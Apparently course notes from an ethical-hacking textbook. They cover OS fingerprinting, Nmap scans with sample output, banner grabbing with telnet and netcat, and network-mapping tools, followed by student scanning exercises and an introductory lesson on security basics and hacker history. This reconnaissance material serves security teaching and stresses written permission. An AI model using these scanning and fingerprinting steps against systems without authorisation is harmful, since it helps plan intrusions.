These are just four of many possibilities that can be used to passively fingerprint an OS. Other items that can be examined include IP Identification Number (IPID), IP options, TCP options, and even ICMP. Ofir Arkin has written an excellent paper on this titled, "ICMP Usage in Scanning." Probably the most up-to-date passive fingerprinting tool is the Linux based tool P0f. P0f attempts to passively fingerprint the source of all incoming connections after the tool is up and running. Because it's a truly passive tool, it does so without introducing additional traffic on the network. P0fv2 is available at http://lcamtuf.coredump.cx/p0f.tgz.

Active fingerprinting is more powerful than passive fingerprint scanning because the hacker doesn't have to wait for random packets, but as with every advantage, there is usually a disadvantage. This disadvantage is that active fingerprinting is not as stealthy as passive fingerprinting. The hacker actually injects the packets into the network. Active fingerprinting has a much higher potential for being discovered or noticed. Like passive OS fingerprinting, active fingerprinting examines the subtle differences that exist between different vendor implementations of the TCP/IP stack. Therefore, if hackers probe for these differences, the version of the OS can most likely be determined. One of the individuals who has been a pioneer in this field of research is Fyodor. His site, http://www.insecure.org/nmap/nmap-fi...g-article.html, has an excellent paper on OS fingerprinting. Listed here are some of the basic methods used in active fingerprinting:

The FIN probe

A FIN packet is sent to an open port, and the response is recorded. Although RFC 793 states that the required behavior is not to respond, many OSes such as Windows will respond with a RESET.

Bogus flag probe

As you might remember from Table 3.7, there are only six valid flags in the 1 byte TCP header. A bogus flag probe sets one of the used flags along with the SYN flag in an initial packet. Linux will respond by setting the same flag in the subsequent packet.

Initial Sequence Number (ISN) sampling

This fingerprinting technique works by looking for patterns in the ISN number. Although some systems use truly random numbers, others, such as Windows, increment the number by a small fixed amount.

IPID sampling

Many systems increment a systemwide IPID value for each packet they send. Others, such as older versions of Windows, do not put the IPID in network byte order, so they increment the number by 256 for each packet.

TCP initial window

This fingerprinttechnique works by tracking the window size in packets returned from the target device. Many OSes use exact sizes that can be matched against a database to uniquely identify the OS.

ACK value

Again, vendors differ in the ways they have implemented the TCP/IP stack. Some OSes send back the previous value +1, whereas others send back more random values.

Type of service

This fingerprinting type tweaks ICMP port unreachable messages and examines the value in the type of service (TOS) field. Whereas some use 0, others return different values.

TCP options

Here again, different vendors support TCP options in different ways. By sending packets with different options set, the responses will start to reveal the server's fingerprint.

Fragmentation handling

This fingerprinting technique takes advantage of the fact that different OS vendors handle fragmented packets differently. RFC 1191 specifies that the MTU is normally set between 68 and 65535 bytes. This technique was originally discovered by Thomas Ptacek and Tim Newsham.

Active Fingerprinting Tools

Objective:
Use tools such as Xprobe2, Winfingerprint, and Amap

One of the first tools to actually be widely used for active fingerprinting back in the late 1990s was Queso. Although no longer updated, it helped move this genre of tools forward. Nmap has supplanted Queso as the tool of choice for active fingerprinting and is one of the most feature-rich free fingerprint tools in existence today. Nmap's database can fingerprint literally hundreds of different OSes. Fingerprinting with Nmap is initiated by running the tool with the -O option. When started with this command, switch nmap probes port 80 and then ports in the 20-23 range. Nmap needs one open and one closed port to make an accurate determination of what OS a particular system is running. An example is shown in the following:

C:\nmap-3.93>nmap -O 192.168.123.108
Starting nmap 3.93 ( http://www.insecure.org/nmap ) at 2005-10-07 15:47 Central
Daylight Time
Interesting ports on 192.168.1.108:
(The 1653 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
80/tcp open http
139/tcp open netbios-ssn
515/tcp open printer
548/tcp open afpovertcp
Device type: general purpose
Running: Linux 2.4.X|2.5.X
OS details: Linux Kernel 2.4.0 - 2.5.20
Uptime 0.282 days (since Fri Oct 07 09:01:33 2005)
Nmap run completed -- 1 IP address (1 host up) scanned in 4.927 seconds

You might also want to try Nmap with the -vor -vv switch. There are devices such as F5 Load Balancer that will not identify themselves using a normal -O scan but will reveal their ID with the -vv switch. Just remember that with Nmap or any other active fingerprint tool, you are injecting packets into the network. This type of activity can be tracked and monitored by an IDS. Active fingerprinting tools, such as Nmap, can be countered by tweaking the OS's stack. Anything that tampers with this information can affect the prediction of the target's OS version.

Nmap's dominance of active fingerprinting is being challenged by a new breed of tools. One such tool is Xprobe. Xprobe 2 is a Linux-based active OS fingerprinting tool with a different approach to operating system fingerprinting. Xprobe is unique in that it uses a mixture of TCP, UDP, and ICMPto slip past firewalls and avoid IDS systems. Xprobe2 relies on fuzzy signature matching. In layman's terms, this means that targets are run through a variety of tests. These results are totaled, and the user is presented with a score that tells the probability of the targeted machine's OS-for example, 75 percent Windows XP and 60 percent Windows 2000.

Because some of you might actually prefer GUI tools, the final fingerprinting tool for discussion is Winfingerprint. This Windows-based tool can harvest a ton of information about Windows servers. It allows scans on a single host or the entire network neighborhood. You can also input a list of IP addresses or specify a custom IP range to be scanned. After a target is found, Winfingerprint can obtain NetBIOS shares, disk information, services, users, groups, detection of Service Pack, and even Hotfixes. A screenshot of Winfingerprint can be seen in Figure 3.10.

Fingerprinting Services

Objective:
Be able to perform banner grabbing with tools such as Telnet and netcat

If there is any doubt left as to what a particular system is running, this next step of information gathering should serve to answer those questions. Knowing what services are running on specific ports allows the hacker to formulate and launch application specific attacks. Knowing the common default ports and services and using tools such as Telnet, FTP, and Netcat are two techniques that can be used to ensure success at this pre-attack stage.

Default Ports and Services

A certain amount of default information and behavior can be gleamed from any system. For example, if a hacker discovers a Windows 2003 system with port 80 open, he can assume that the system is running IIS 6.0, just as a Linux system with port 25 open is likely to be running sendmail. Although it's possible that the Windows 2003 machine might be running a version of Apache, that most likely is not a common occurrence.

Just keep in mind that at this point, the attacker is making assumptions. Just because a particular port is active or a known banner is returned, you cannot be certain that information is correct. Ports and banners can be changed and assumptions by themselves can be dangerous. Additional work will need to be done to verify what services are truly being served up by any open ports.

Finding Open Services

The scanning performed earlier in the lesson might have uncovered other ports that were open. Most scanning programs, such as Nmap and SuperScan, will report what common services are associated with those open ports. This easiest way to determine what services are associated with the open ports that were discovered is by banner grabbing.

Banner grabbing takes nothing more than the Telnet and FTP client built in to the Windows and Linux platforms. Banner grabbing provides important information about what type and version of software is running. Many servers can be exploited with just a few simple steps if the web server is not properly patched. Telnet is an easy way to do this banner grabbing for FTP, SMTP, HTTP, and others. The command issued to banner grab with Telnet would contain the following syntax: Telnet (IP_Address) Port. Any example of this is shown here. This banner grabbing attempt was targeted against a web server.

C:\>telnet 192.168.1.102 80
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Fri, 07 Oct 2005 22:22:04 GMT
Content-Type: text/html

Content-Length: 87
<html><head><title>Error</title></head><body>The parameter is incorrect. </body> </html>
Connection to host lost.

After the command was entered, telnet 192.168.1.102 80, the Return key was pressed a couple of times to generate a response. As noted in the Telnet response, this banner indicates that the web server is IIS 5.0.

EXAM ALERT

The Microsoft IIS web server's default behavior is to return a banner after two carriage returns. This can be used to pinpoint the existence of an IIS server.

Telnet isn't your only option for grabbing banners; netcat is another option. Netcat is shown here to introduce you to its versatility. Netcat is called the "Swiss army knife of hacking tools" because of its many uses. To banner grab with netcat, you would issue the following command for the command line:

nc -v -n IP_Address Port

This command will give you the banner of the port you asked to check. Netcat is available for Windows and Linux. If you haven't downloaded netcat, don't feel totally left behind, as FTP is another choice for banner grabbing. Just FTP to the target server and review the returned banner.

NOTE

Although changing banner information is not an adequate defense by itself, it might help to slow a hacker. In the Windows environment, you can install the UrlScan security tool. UrlScan contains the RemoveServerHeader feature, which removes or alters the identity of the server from the "Server" response header in response to the client's request.

Most all port scanners, including those discussed in this lesson, also perform banner grabbing.

Mapping the Network

The hacker would have now gained enough information to map the network. Mapping the network provides the hacker with a blueprint of the organization. There are manual and automated ways to compile this information. Manual and automated tools are discussed in the following sections.

Manual Mapping

If you have been documenting findings, the matrix you began at the start of this lesson should be overflowing with information. This matrix should now contain domain name information,

IP addresses, DNS servers, employee info, company location, phone numbers, yearly earnings, recently acquired organizations, email addresses, the publicly available IP address range, open ports, wireless access points, modem lines, and banner details.

Automated Mapping

If you prefer a more automated method of mapping the network, a variety of tools are available. Visual traceroute programs, such as NeoTrace and Visual Route, are one option. Running traceroute to different servers, such as web, email, and FTP, can help you map out the placement of these servers. Automatic mapping can be faster but might generate errors or sometimes provide erroneous results.

When Your Traceroutes Led to the Middle of the Atlantic Ocean

Not quite the middle of the ocean, but the country of Sealand is about six miles off the coast of England. This platform of concrete and steel was originally built during World War II to be used as an anti-aircraft platform but later abandoned. Established as its own country since 1967, the country of Sealand now provides non-traceable network services and has the world's most secure managed servers. Because Sealand is its own country, servers located there are exempt from government subpoenas and search and seizures of equipment or data. Some might see this as ultimate privacy, whereas others might interpret this as a haven for illegal activities.

NLog is one option to help keep track of your scanning and mapping information. NLog allows you to automate and track the results of your nmap scans. It allows you to keep all of your nmap scan logs in a database, making it possible to easily search for specific entries. It's browser based, so you can easily view the scan logs in a highly customizable format. You can add your own extension scripts for different services, so all hosts running a certain service will have a hyperlink to the extension script.

Cheops is another network mapping option. If run from the Internet, the tool will be limited to devices that it can contact. These will most likely be devices within the demilitarized zone (DMZ). Run internally, it will diagram a large portion of the network. In the hands of a hacker, it's a powerful tool, as it uses routines taken from a variety of other tools that permit it to perform OS detection port scans for service detection and network mapping using common traceroute techniques. Linux users can download itfrom www.marko.net/cheops.

THE SEVEN STEPS OF THE pre-attach PHASE
Step Title Active/Passive Common Tools
One Information gathering Passive Sam Spade, ARIN, IANA, Whois, Nslookup
Two Determining network Passive RIPE, APNIC, ARIN
range
Three Identify active machines Active Ping, traceroute, Superscan, Angry IP scanner
Four Finding open ports and Active Nmap, Amap, SuperScan
applications
Five OS fingerprinting Active/passive Nmap, Winfigerprint, P0f, Xprobe2, ettercap
Six Fingerprinting services Active Telnet, FTP, Netcat
Seven Mapping the network Active Cheops, traceroute, NeoTrace

Summary
In this lesson, you learned the seven steps that compose the pre-attach phase. These include information gathering, determining the network range, identifying active machines, finding open ports and access points, OS fingerprinting, fingerprinting services, and mapping the network.

This lesson is an important step for the ethical hacker because at this point, you are attempting to gather enough information to launch an attack. The more information that is gathered here, the better the chance of success. An important part of ethical hacking is documentation. That's why several ways to collect and document your findings are shown. These notes will be useful when you prepare your report. Finally, make sure that the organization has given you written permission before beginning any work, even the reconnaissance.

Key Terms
. Active fingerprinting
. CNAMES
. Covert channel
. Demilitarized zone (DMZ)
. DoS
. Echo reply
. Echo request
. EDGAR database
. Google dorks
. Google hacking
. Initial Sequence Number
. Internet Assigned Numbers Authority
(IANA)
. Information matrix
. Intrusion detection system
. Nslookup
. Open source
. Ping sweep
. Passive fingerprinting
. Port knocking
. Port scanning
. Scope creep
. Script kiddie
. Simple Network Monitoring Protocol
(SNMP)
. Social engineering
. Synchronize sequence number
. Time-to-live (TTL)
. Traceroute
. Wardialing
. Wardriving
. Whois
. Written authorization
. Zone transfer

Exercise 3.0
1. Open a command prompt on your Windows PC and enter ping.

2. You will see a list of commands that specify how ping works. Use that information to complete the table below.

Code:

Option  Meaning of Specific Option
-t  
-a  
-l  
-f  
-I

3. Now enter tracertfrom the command line and observe the options. Record your findings in the table below.

Code:

Option Meaning of Option
-d 
-h

4. Use ping with the -r option to ping www.microsoft.com.

5. Now open a second command prompt and use tracert to trace the route to www.microsoft.com.

Do you see any differences? Each router should respond using the IP address of the interface it transmits the ICMP Timeout messages on, which should be the same as the interface it received the original packets on, whereas ping uses the -r option to record the path of routers the echo request/reply message used. Together, these two tools can be used to map a more accurate diagram of the network.

Exercise 3.1 Performing Passive Reconnaissance

The best way to learn passive information gathering is to use the tools. In this exercise, you will perform reconnaissance on several organizations.

Acquire only the information requested.

1. Review the table below to determine the target of your passive information gathering.

Code:

Domain Name     | IP Address   | Location  | Contact  | Person | Phone Number  | Address 
Redriff.com     |              |           |          |        |               |    
Examcram.com    | 72.3.246.59  |           |          |        |               |    
Rutgers.edu     |              |           |          |        |               |

2. Start by resolving the IP address. This can be done by pinging the site.

3. Next, use a tool such as Sam Spade or any of the other tools mentioned throughout the chapter.
Some of these include
" www.betterwhois.com
" www.allwhois.com
" http://geektools.com
" www.all-nettools.com
" www.dnsstuff.com
" www.samspade.org

4. To verify the location of the organization, perform a traceroute or a ping with the -r option.

5. Use the ARIN, RIPE, and IANA to fill in any information you have yet to acquire.

Exercise 3.2 Performing Active Reconnaissance

The best way to learn active information gathering is to use the tools. In this exercise, you will perform reconnaissance on Linsly's own internal network (192.168.42.5) note: if this does not work as it might be accessible only via campus, try scanning your own network via your computers IP address)

1. Download the most current version of Nmap from www.insecure.org/nmap/download.html. For Windows systems, the most current version is 3.95.

2. Open a command prompt and go to the directory that you have installed Nmap in.

3. Run Nmap -h from the command line to see the various options.

4. You'll notice that Nmap has many different options. Review and find the option for a full connect scan. Enter your result here: ______

5. Review and find the option for a stealth scan. Enter your result here: ____

6. Review and find the option for a UDP scan. Enter your result here: ____

7. Review and find the option for a fingerprint scan. Enter your result here: ____

8. Perform a full connect scan on one of the local devices you have identified on your network. Type the command here _____________.

9. Perform a stealth scan on one of the local devices you have identified on your network. Type the command here: ________________.

10. Perform a UDP scan on one of the local devices you have identified on your network. Type the command here ________________.

11. Perform a fingerprint scan on one of the local devices you have identified on your network. Type the command here _____________.

12. Observe the results of each scan. Was Nmap capable of successfully identifying the system? Were the ports it identified correct?

2012-10-19T12:08:00.001-07:00

Introduction

This lesson introduces you to the world of ethical hacking. Ethical hacking is a form of legal hacking that is done with the permission of an organization to help increase its security. This lesson discusses many of the business aspects of penetration (pen) testing. Information about how to perform a pen test, what types can be performed, what are the legal requirements, and what type of report should be delivered are all basic items that you will need to know before you perform any type of security testing. However, first, you need to review some security basics. This lesson starts with a discussion of confidentiality, integrity, and availability. Finally, the lesson finishes up with the history of hacking and a discussion of some of the pertinent laws.

NOTE

Nothing learned in this class is intended to teach or encourage the use of security tools or methodologies for illegal or unethical purposes. Always act in a responsible manner. Make sure that you have written permission from the proper individuals before you use any of the tools or techniques described within. Always obtain permission before installing any of these tools on a network.

Security Fundamentals

Security is about finding a balance, as all systems have limits. No one person or company has unlimited funds to secure everything, and we cannot always take the most secure approach. One way to secure a system from network attack is to unplug it and make it a standalone system. Although this system would be relatively secure from Internet-based attackers, its usability would be substantially reduced. The opposite approach of plugging it in directly to the Internet without any firewall, antivirus, or security patches would make it extremely vulnerable, yet highly accessible. So, here again, you see that the job of security professionals is to find a balance somewhere between security and usability. Figure 1.1 demonstrates this concept.

To find this balance, you need to know what the goals of the organization are, what security is, and how to measure the threats to security. The next section discusses the goals of security.

Goals of Security

Objective:

Understand the security triangle, also known as CIA (confidentiality, integrity, and availability).

There are many ways in which security can be achieved, but it’s universally agreed that the security triad of confidentiality, integrity, and availability (CIA) form the basic building blocks of any good security initiative.

Confidentiality addresses the secrecy and privacy of information. Physical examples of confidentiality include locked doors, armed guards, and fences. Logical examples of confidentiality can be seen in passwords, encryption, and firewalls. In the logical world, confidentiality must protect data in storage and in transit. For a real-life example of the failure of confidentiality, look no further than the recent news reports that have exposed how several large-scale breaches in confidentiality were the result of corporations, such as Time Warner and City National Bank, misplacing or losing backup tapes with customer accounts, names, and credit information. The simple act of encrypting thebackup tapes could have prevented or mitigated the damage.

Integrity is the second piece of the CIA security triad. Integrity provides for the correctness of information. It allows users of information to have confidence in its correctness. Correctness doesn’t mean that the data is accurate, just that it hasn’t been modified in storage or transit. Integrity can apply to paper or electronic documents. It is much easier to verify the integrity of a paper document than an electronic one. Integrity in electronic documents and data is much more difficult to protect than in paper ones. Integrity must be protected in two modes: storage and transit.

Information in storage can be protected if you use access and audit controls. Cryptography can also protect information in storage through the use of hashing algorithms. Real-life examples of this technology can be seen in programs such as Tripwire, MD5Sum, and Windows File Protection (WFP). Integrity in transit can be ensured primarily by the protocols used to transport the data. These security controls include hashing and cryptography.

Availability is the third leg of the CIA triad. Availability simply means that when a legitimate user needs the information, it should be available. As an example, access to a backup facility 24x7 does not help if there are no updated backups from which to restore. Backups are one of the ways that availability is ensured. Backups provide a copy of critical information should files and data be destroyed or equipment fail. Failover equipment is another way to ensure availability. Systems such as redundant array of inexpensive disks (RAID) and subscription services such as redundant sites (hot, cold, and warm) are two other examples. Disaster recovery is tied closely to availability, as it’s all about getting critical systems up and running quickly. Denial of service (DoS) is an attack against availability. Although these attacks might not give access to the attacker, they dodeny legitimate users the access they require.

Assets, Threats, and Vulnerabilities

Objectives:

Recall essential terminology
List the elements of security

As with any new technology topic, terminology is used that must be learned to better understand the field. To be a security professional, you need to understand the relationship between threats, assets, and vulnerabilities.

Risk is the probability or likelihood of the occurrence or realization of a threat. There are three basic elements of risk: assets, threats, and vulnerabilities. Let’s discuss each of these.

An asset is any item of economic value owned by an individual or corporation. Assets can be real — such as routers, servers, hard drives, and laptops — or assets can be virtual, such as formulas, databases, spreadsheets, trade secrets, and processing time. Regardless of the type of asset discussed, if the asset is lost, damaged, or compromised, there can be an economic cost to the organization.

A threat is any agent, condition, or circumstance that could potentially cause harm, loss, damage, or compromise to an IT asset or data asset. From a security professional’s perspective, threats can be categorized as events that can affect the confidentiality, integrity, or availability of the organization’s assets. These threats can result in destruction, disclosure, modification, corruption of data, or denial of service. Some examples of the types of threats an organization can face include the following:

Unauthorized Access

If userids and passwords to the organization’s infrastructure are obtained and confidential information is compromised and unauthorized, access is granted to the unauthorized user who obtained the userids and passwords.

Stolen/Lost/Damaged/Modified Data

A critical threat can occur if the information is lost, damaged, or unavailable to legitimate users.

Disclosure of Confidential Information

Anytimethere is a disclosure of confidential information, it can be a critical threat to an organization if that disclosure causes loss of revenue, causes potential liabilities, or provides a competitive advantage to an adversary.

Hacker Attacks

An insider or outsider who is unauthorized and purposely attacks an organization’s components, systems, or data.

Cyber Terrorism

Attackers whotarget critical, national infrastructures such as water plants, electric plants, gas plants, oil refineries, gasoline refineries, nuclear power plants, waste management plants, and so on.

Viruses and Malware

An entirecategory of software tools that are malicious and are designed to damage or destroy a system or data.

Denial of Service (DoS) or Distributed Denial of Service Attacks

An attack against availability that isdesigned to bring the network and/or access to a particular TCP/IP host/server to its knees by flooding it with useless traffic. Many DoSattacks, such as the Ping of Death and Teardrop, exploit limitations in the TCP/IP protocols. Like malware, hackers constantly develop new DoS attacks, so they form a continuous threat.

Natural Disasters, Weather, or Catastrophic Damage

Hurricanes, such as Katrina that hit New Orleans in 2005, storms, weather outages, fire, flood, earthquakes, and other natural events compose an ongoing threat.

If the organization is vulnerable to any of these threats, there is an increased risk of successful attack.

A vulnerability is a weakness in the system design, implementation, software or code, or the lack of a mechanism. A specific vulnerability might manifest as anything from a weakness in system design to the implementation of an operational procedure. Vulnerabilities might be eliminated or reduced by the correct implementation of safeguards and security countermeasures.

Vulnerabilities and weaknesses are common with software mainly because there isn’t any perfect software or code in existence. Vulnerabilities in software can be found in each of the following:

Firmware

This software is usually stored in ROM and loaded during system power up.

Operating System

This operating system software is loaded in workstations and servers.

Configuration Files

The configuration file and configuration setup for the device.

Application Software

The application or executable file that is run on a workstation or server.

Software Patch

This is a small piece of software or code snippet that the vendor or developer of the software typically releases as software updates, software maintenance, and known software vulnerabilities or weaknesses.

Vulnerabilities are not the only concern the ethical hacker will have. Exploits are a big concern, as they are a common mechanism used to gain access. That’s discussed next.

Defining an Exploit

An exploit refers to a piece of software, tool, or technique that takes advantage of a vulnerability that leads to privilege escalation, loss of integrity, or denial of service on a computer system. Exploits are dangerous because all software has vulnerabilities; hackers and perpetrators know that there are vulnerabilities and seek to take advantage of them. Although most organizations attempt to find and fix vulnerabilities, some organizations lack sufficient funds for securing their networks. Even those that do are burdened with the fact that there is a window between when a vulnerability is discovered and when a patch is available to prevent the exploit. The more critical the server, the slower it is typically patched. Management might be afraid of interrupting the server or afraid that the patch might affect stability or performance. Finally, the time required to deploy and install the software patch on production servers and workstations exposes an organization’s IT infrastructure to an additional period of risk.

Security Testing

Objective:

Define the modes of ethical hacking
Security testing is the primary job of ethical hackers. These tests might be configured in such way that the ethical hackers have no knowledge, full knowledge, or partial knowledge of the target of evaluation (TOE).

NOTE

The term target of evaluation (TOE) is widely used to identify an IT product or system that is the subject of an evaluation. The EC-Council and some security guidelines and standards use the term to describe systems that are being tested to measure their confidentiality, integrity, and availability.

The goal of the security test (regardless of type) is for the ethical hacker to test the security system and evaluate and measure its potential vulnerabilities.

No Knowledge Tests (Blackbox)

No knowledge testing is also known as blackbox testing. Simply stated, the security team has no knowledge of the target network or its systems. Blackbox testing simulates an outsider attack as outsiders usually don’t know anything about the network or systems they are probing. The attacker must gather all types of information about the target to begin to profile its strengths and weaknesses. The advantages of blackbox testing include

The test is unbiased as the designer and the tester are independent of each other. The tester has no prior knowledge of the network or target being examined. Therefore there are no preset thoughts or ideas about the function of the network. A wide range of resonances work and are typically done to footprint the organization, which can help identify information leakage. The test examines the target in much the same way as an external attacker.

The disadvantages of blackbox testing include
It can take more time to perform the security tests.
It is usually more expensive as it takes more time to perform.
It focuses only on what external attackers see, while in reality, most attacks are launched by insiders.

Full Knowledge Testing (Whitebox)

Whitebox testing takes the opposite approach of blackbox testing. This form of security test takes the premise that the security tester has full knowledge of the network, systems, and infrastructure. This information allows the security tester to follow a more structured approach and not only review the information that has been provided but also verify its accuracy. So, although blackbox testing will typically spend more time gathering information, whitebox testing will spend that time probing for vulnerabilities.

Partial Knowledge Testing (Graybox)

In the world of software testing, graybox testing is described as a partial knowledge test. EC-Council literature describes graybox testing as a form of internal test. Therefore, the goal is to determine what insiders can access. This form of test might also prove useful to the organization as so many attacks are launched by insiders.

Types of Security Tests

Objective:

State security testing methodologies

Several different types of security tests can be performed. These can range from those that merely examine policy to those that attempt to hack in from the Internet and mimic the activities of true hackers. These security tests are also known by many names, including

Vulnerability Testing
Network Evaluations
Red Team Exercises
Penetration Testing
Host Vulnerability Assessment
Vulnerability Assessment
Ethical Hacking

No matter what the security test is called, it is carried out to make a systematic examination of an organization’s network, policies, and security controls. Its purpose is to determine the adequacy of security measures, identify security deficiencies, provide data from which to predict the effectiveness of potential security measures, and confirm the adequacy of such measures after implementation. Security tests can be defined as one of three types, which include highlevel assessments, network evaluations, and penetration tests. Each is described as follows:

High-level assessments

Also called a level I assessment, it is a top-down look at the organization’s policies, procedures, and guidelines. This type of vulnerability assessment does not include any hands-on testing. The purpose of a top-down assessment is to answer three questions: Do the applicable policies exist?

Are they being followed?
Is there content sufficient to guard against potential risk?

Network evaluations

Also called a level II assessment, it has all the elements specified in a level I assessment plus includes hands-on activities. These hands-on activities would include information gathering, scanning, vulnerability assessment scanning, and other hands-on activities. Throughout this book, tools and techniques used to perform this type of assessment are discussed.

Penetration tests

Unlike assessments and evaluations, penetration tests are adversarial in nature. Penetration tests are also referred to as level III assessments. These events typically take on an adversarial role and look to see what the outsider can access and control. Penetration tests are less concerned with policies and procedures and are more focused on finding low hanging fruit and seeing what a hacker can accomplish on this network.

NOTE

Just remember that penetration tests are not fully effective if an organization does not have the policies and procedures in place to control security. Without adequate policies and procedures, it’s almost impossible to implement real security. Documented controls are required.

How do ethical hackers play a role in these tests? That’s the topic of the next section.

Hacker and Cracker Descriptions

Objective:

Discuss malicious hackers

To understand your role as an ethical hacker, it is important to know the players. Originally, the term hacker was used for a computer enthusiast. A hacker was a person who enjoyed understanding the internal workings of a system, computer, and computer network. Over time, the popular press began to describe hackers as individuals who broke into computers with malicious intent. The industry responded by developing the word cracker, which is short for criminal hacker. The term cracker was developed to describe individuals who seek to compromise the security of a system without permission from an authorized party. With all this confusion over how to distinguish the good guys from the bad guys, the term ethical hacker was coined. An ethical hacker is an individual who performs security tests and other vulnerability assessment activities to help organizations secure their infrastructures. Sometimes ethical hackers are referred to as White Hat Hackers.

Hacker motives and intentions vary. Some hackers are strictly legitimate, whereas others routinely break the law. Let’s look at some common categories:

Whitehat Hackers

These individuals perform ethical hacking to help secure companies and organizations. Their belief is that you must examine your network in the same manner as a criminal hacker to better understand its vulnerabilities. Reformed Blackhat Hackers — These individuals often claim to have changed their ways and that they can bring special insight into the ethical hacking methodology.

Grayhat Hackers —

These individuals typically follow the law but sometimes venture over to the darker side of blackhat hacking. It would be unethical to employ these individuals to perform security duties for your organization as you are never quite clear where they stand.

Who Attackers Are
Ethical hackers are up against several individuals in the battle to secure the network. The following list presents some of the more commonly used terms for these attackers:

Phreakers —

The original hackers. These individuals hacked telecommunication and PBX systems to explore the capabilities and make free phone calls. Their activities include physical theft, stolen calling cards, access to telecommunication services, reprogramming of telecommunications equipment, and compromising userids and passwords to gain unauthorized use of facilities, such as phone systems and voice mail.

Script/Click Kiddies —

A term used to describe often younger attackers who use widely available freeware vulnerability assessment tools and hacking tools that are designed for attacking purposes only. These attackers typically do not have any programming or hacking skills and, given the techniques used by most of these tools, can be defended against with the proper security controls and risk mitigation strategies.

Disgruntled Employee —

Employees who have lost respect and integrity for the employer. These individuals might or might not have more skills than the script kiddie. Many times, their rage and anger blind them. They rank as a potentially high risk because they have insider status, especially if access rights and privileges were provided or managed by the individual.

Whackers —

Whackers are typically newbies who focus their limited skills and abilities on attacking wireless LANs and WANs.

Software Cracker/Hacker —

Individualswho have skills in reverse engineering software programs and, in particular, licensing registration keys used by software vendors when installing software onto workstations or servers. Although many individuals are eager to partake of their services, anyone who downloads programs with cracked registration keys are breaking the law and can be a greater potential risk and subject to malicious code and malicious software threats that might have been injected into the code.

Cyber-Terrorists/Cyber-Criminals

An increasing category of threat that can be used to describe individuals or groups of individuals who are typically funded to conduct clandestine or espionage activities on governments, corporations, and individuals in an unlawful manner. These individuals are typically engaged in sponsored acts of defacement; DoS/DDoS attacks identify theft, financial theft, or worse, compromising critical infrastructures in countries, such as nuclear power plants, electric plants, water plants, and so on.

System Cracker/Hacker —

Elite hackers who have specific expertise in attacking vulnerabilities of systems and networks by targeting operating systems. These individuals get the most attention and media coverage because of the globally affected viruses, worms, and Trojans that are created by System Crackers/Hackers. System Crackers/Hackers perform interactive probing activities to exploit security defects and security flaws in network operating systems and protocols.

Now that you have an idea who the legitimate security professionals are up against, let’s briefly discuss some of the better known crackers and hackers.

Hacker and Cracker History

The well-known hackers of today grew out of the phone phreaking activities of the 1960s. In 1969, Mark Bernay, also known as “The Midnight Skulker,” wrote a computer program that allowed him to read everyone else’s ID and password at the organization where he worked. Although he was eventually fired, no charges were ever filed, as computer crime was so new, there were no laws against it.

Computer innovators include:

Steve Wozniak and Steve Jobs —

Members of the Homebrew Computer Club of Palo Alto. John Draper was also a member of this early computer club. Wozniak and Jobs went on to become co-founders of Apple Computer.

Dennis Ritchie and Ken Thompson —

While not criminal hackers, their desire for discovery led to the development of UNIX in 1969 while working at Bell Labs.

Well-known hackers and phreakers include:

John Draper —

Dubbed “Captain Crunch” for finding that a toy whistle shipped in boxes of Captain Crunch cereal had the same frequency as the trunking signal of AT&T, 2,600Hz. This discovery was made with the help of Joe Engressia. Although Joe was blind, he could whistle into a phone and produce a perfect 2,600Hz frequency. This tone was useful for placing free long distance phone calls.

Mark Abene —

Known as Phiber Optik. Mark helped form the “Masters of Deception” in 1990. Before being arrested in 1992, they fought an extended battle with “Legion of Doom.”

Kevin Poulsen —

Known asDark Dante. Kevin took over all phones in Los Angeles in 1990 to ensure victory in a phone “call-in contest,” for a Porsche 944. He was later arrested.

Robert Morris —

The son of a chief scientist at the NSA. Morris accidentally released the “Morris Worm” in 1988 from a Cornell University lab. This is now widely seen as the first release of a worm onto the Internet.

Kevin Mitnick —

Known as “Condor,” Mitnick was the first hacker to hit the FBI Most Wanted list. Broke into such organizations as Digital Equipment Corp., Motorola, Nokia Mobile Phones, Fujitsu, and others. He was arrested in 1994 and has now been released and works as a legitimate security consultant.

Vladimir Levin —

A Russian hacker who led a team of hackers who siphoned off $10 million from Citibank and transferred the money to bank accounts around the world. Levin eventually stood trial in the United States and was sentenced to three years in prison. Authorities recovered all but $400,000.00 of the stolen money.

Adrian Lamo —

Known asthe “Homeless Hacker” because of his transient lifestyle. Lamo spent his days squatting in abandoned buildings and traveling to Internet cafes, libraries, and universities to exploit security weaknesses in high-profile company networks, such as Microsoft, NBC, and the New York Times. He was eventually fined and prosecuted for the New York Times hack.

Although this list does not include all the hackers, crackers, and innovators of the computer field, it should give you an idea of some of the people who have made a name for themselves in this industry. Let’s now talk more about ethical hackers.

Ethical Hackers

Objective:

Define ethical hacking

Ethical hackers perform penetration tests. They perform the same activities a hacker would but without malicious intent. They must work closely with the host organization to understand what the organization is trying to protect, who they are trying to protect these assets from, and how much money and resources the organization is willing to expend to protect the assets.

By following a methodology similar to that of an attacker, ethical hackers seek to see what type of public information is available about the organization. Information leakage can reveal critical details about an organization, such as its structure, assets, and defensive mechanisms. After the ethical hacker gathers this information, it will be evaluated to determine whether it poses any potential risk. The ethical hacker further probes the network at this point to test for any unseen weaknesses.

Penetration tests are sometimes performed in a double blind environment. This means that the internal security team has not been informed of the penetration test. This serves as an important purpose, allowing management to gauge the security team’s responses to the ethical hacker’s probing and scanning. Do they notice the probes or have the attempted attacks gone unnoticed? Now that the activities performed by ethical hackers have been described, let’s spend some time discussing the skills that ethical hackers need, the different types of security tests that ethical hackers perform, and the ethical hacker rules of engagement.

Required Skills of an Ethical Hacker

Objective:

Describe ethical hackers and their duties

Ethical hackers need hands-on security skills. Although you do not have to be an expert in everything, you should have an area of expertise. Security tests are typically performed by teams of individuals, where each individual typically has a core area of expertise. These skills include:

Routers —

Knowledgeof routers, routing protocols, and access control lists (ACLs). Certifications such a Cisco Certified Network Associate (CCNA) or Cisco Certified Internetworking Expert (CCIE) can be helpful.

Microsoft —

Skills in the operation, configuration, and management of Microsoft-based systems. These can run the gamut from Windows NT to Windows 2003. These individuals might be Microsoft Certified Administrator (MCSA) or Microsoft Certified Security Engineer (MCSE) certified.

Linux —

A good understanding of the Linux/UNIX OS. This includes security setting, configuration, and services such as Apache. These individuals may be Red Hat, or Linux+ certified.

Firewalls —

Knowledge of firewall configuration and the operation of intrusion detection systems (IDS) and intrusion prevention systems (IPS) can be helpful when performing a security test. Individuals with these skills may be certified in Cisco Certified Security Professional (CCSP) or Checkpoint Certified Security Administrator (CCSA).

Mainframes —

